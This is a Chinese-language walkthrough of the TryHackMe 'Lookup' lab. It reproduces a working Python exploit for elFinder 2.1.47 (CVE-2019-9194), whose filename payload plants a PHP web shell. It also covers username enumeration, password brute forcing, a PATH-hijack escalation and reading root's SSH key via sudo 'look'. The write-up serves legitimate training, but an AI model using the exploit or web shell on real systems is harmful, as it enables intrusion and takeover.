介绍
靶场链接:https://tryhackme.com/r/room/lookup
TeyHackMe上的较新免费靶场,难度为简单。
Lookup offers a treasure trove of learning opportunities for aspiring hackers. This intriguing machine showcases various real-world vulnerabilities, ranging from web application weaknesses to privilege escalation techniques. By exploring and exploiting these vulnerabilities, hackers can sharpen their skills and gain invaluable experience in ethical hacking. Through "Lookup," hackers can master the art of reconnaissance, scanning, and enumeration to uncover hidden services and subdomains. They will learn how to exploit web application vulnerabilities, such as command injection, and understand the significance of secure coding practices. The machine also challenges hackers to automate tasks, demonstrating the power of scripting in penetration testing.
靶场需要回答两个问题:
- 普通用户的flag
- root用户的flag
信息收集
开启靶场环境,可以看到分配的靶机IP地址:
端口扫描
IP 地址已经给出,所以不需要主机扫描,直接扫描端口。
fscan 扫描:
nmap 扫描:
可见目标机器开放了80,22
端口,并且WEB服务重定向到了域名lookup.thm
因为我们是通过openVPN连接到THM内网的,为了不走正常的DNS,这需要添加hosts文件:
10.10.60.84 lookup.thm
网站目录
成功访问到界面,是一个简单的登录:
不妨进行网站目录的扫描:
dirsearch 扫描:
ffuf 扫描:
可见,网页就两个有效界面,一个用于填写和提交表单,一个用于处理表单。
漏洞利用
爆破账户密码
手工测试几个用户名查看:
这个3秒只是定时过后的重定向,并不是登录的冷却时间。
当测试admin
用户时:
可见,当用户存在时,返回的结果会有所不同,由此可以进行爆破:
发现了两个用户,可以分别对admin
和jose
进行密码爆破,使用password123
成功登入jose账号
登录成功,会被重定向至域名:files.lookup.thm
同样修改hosts文件:
10.10.60.84 lookup.thm files.lookup.thm
文件管理系统
登录进来,发现是一个elFinder
文件管理系统,版本2.1.47
仍然进行一下目录扫描:
发现files目录对应的文件管理界面中的文件,而php目录存在源码泄露,可以被访问执行:
尝试一下木马上传,这个系统提供了创建文件和上传文件的功能:
或者尝试创建文本文件,然后改名为php:
同样被 WAF,考虑寻找这个系统的公开漏洞。
getshell
在ExploitDB上搜索到了对应版本的漏洞:CVE-2019-9194
对其POC略加修改:
#!/usr/bin/python
"""
# Exploit Title: elFinder <= 2.1.47 - Command Injection vulnerability in the PHP connector.
# Date: 26/02/2019
# Exploit Author: @q3rv0
# Vulnerability reported by: Thomas Chauchefoin
# Google Dork: intitle:"elFinder 2.1.x"
# Vendor Homepage: https://studio-42.github.io/elFinder/
# Software Link: https://github.com/Studio-42/elFinder/archive/2.1.47.tar.gz
# Version: <= 2.1.47
# Tested on: Linux 64bit + Python2.7
# PoC: https://www.portal.org/news/cve-2019-9194-triggering-and-exploiting-a-1-day-vulnerability/
# CVE: CVE-2019-9194
# Usage: python exploit.py [URL]
"""
import requests
import json
import sys
# 确保同级目录下存在一个jpg文件
payload = "test.jpg;echo 3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a | xxd -r -p > hack.php;echo test.jpg"
def usage():
if len(sys.argv) != 2:
print("Usage: python exploit.py [URL]")
sys.exit(0)
def upload(url, payload):
files = {"upload[]": (payload, open("test.jpg", "rb"))}
data = {
"reqid": "1693222c439f4",
"cmd": "upload",
"target": "l1_Lw",
"mtime[]": "1497726174",
}
r = requests.post("%s/php/connector.minimal.php" % url, files=files, data=data)
j = json.loads(r.text)
return j["added"][0]["hash"]
def imgRotate(url, hash):
r = requests.get(
"%s/php/connector.minimal.php?target=%s&width=539&height=960°ree=180&quality=100&bg=&mode=rotate&cmd=resize&reqid=169323550af10c"
% (url, hash)
)
return r.text
def shell(url):
r = requests.get("%s/php/hack.php" % url)
if r.status_code == 200:
print("[+] Pwned! :)")
print("[+] Getting the shell...")
while 1:
try:
inputs = input("$ ")
r = requests.get("%s/php/hack.php?c=%s" % (url, inputs))
print(r.text)
except KeyboardInterrupt:
sys.exit("\nBye kaker!")
else:
print("[*] The site seems not to be vulnerable :(")
def main():
usage()
url = sys.argv[1]
print("[*] Uploading the malicious image...")
hash = upload(url, payload)
print("[*] Running the payload...")
imgRotate(url, hash)
shell(url)
if __name__ == "__main__":
main()
CVE 分析
可以参考站内文章:https://xz.aliyun.com/t/4444
在php/elFinderVolumeDriver.class.php
文件中,存在对文件名的拼接和命令执行:
在imgRotate
函数处理图片旋转时,明明声明了更安全的$quotedPath
,但是拼接的还是$path
,而下面的procExec
有了命令执行的机会。
因此我们可以有以下利用过程:
- 上传一张图片,并将图片名称修改成为恶意命令
- 旋转图片触发命令执行
- 在php/目录中查看结果
使用命令echo 3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a | xxd -r -p > hack.php
生成后门,在php目录下看到木马文件:
权限提升
得到后门后,当前的用户是www-data
,考虑先提权成为普通用户
相关的工具都已经存在,尝试进行提权:
环境变量提权-普通用户
环境中只有一个普通用户 think
可能存在的敏感文件我们也无权访问,尝试进行提权:
使用命令$ find / -user root -perm -4000 -print 2>/dev/null
查看具有SUID的可执行文件:
一番排查下来,发现pwm命令我们有权执行,结果比较可疑:
dump到本地,进行逆向分析:
先使用popen执行了id命令,从结果中提取了uid=...(...)
括号中的结果,然后拼接路径,访问相应的.passwords文件。存在环境变量提权的可能性。
在可读的passwd文件中看到think
用户的id和组信息:
于是我们需要构造uid=1000(think)
的结果,然后通过环境变量覆盖id命令,从而读取到think家目录下的.passwords
文件。
当id命令的结果被篡改,再次运行pwm命令,就能读取到敏感文件:
这应该是一个密码字典文件,尝试用于爆破think
用户的ssh连接密码,hydra命令:
得到ssh密码: josemario.AKA(think)
,成功远程登录得到flag1
隐私文件读取-Root用户
在得到了think用户的权限后,尝试进一步提权,获得root用户的flag
使用sudo -l
,发现次用户可以以高权限执行look命令。
- look 命令用于查询单词,仅需指定欲查询的字首字符串,它会显示所有开头字符串符合该条件的单词
- look 命令不能用于执行命令,但是当查询空字符串时,将会返回整个文件的内容,造成文件的越权读取
读密码文件(本题中root用户的密码无法爆破出来):
读root用户的ssh 私钥:
有了私钥,我们可以直接ssh连接到root用户,获得权限:
ssh -i ./id_rsa root@ip_address
最后,读取/root/root.txt
就能得到flag2
成功通关靶场!
总结
这是一个中规中矩的靶场,基本流程也很清晰,漏洞攻击复现简单。
在普通用户提权时,笔者一时无法找到提权点,也是从think目录下的.passwords文件找到了突破点。
总之这个靶场引导性强,难度简单,适合入门学习。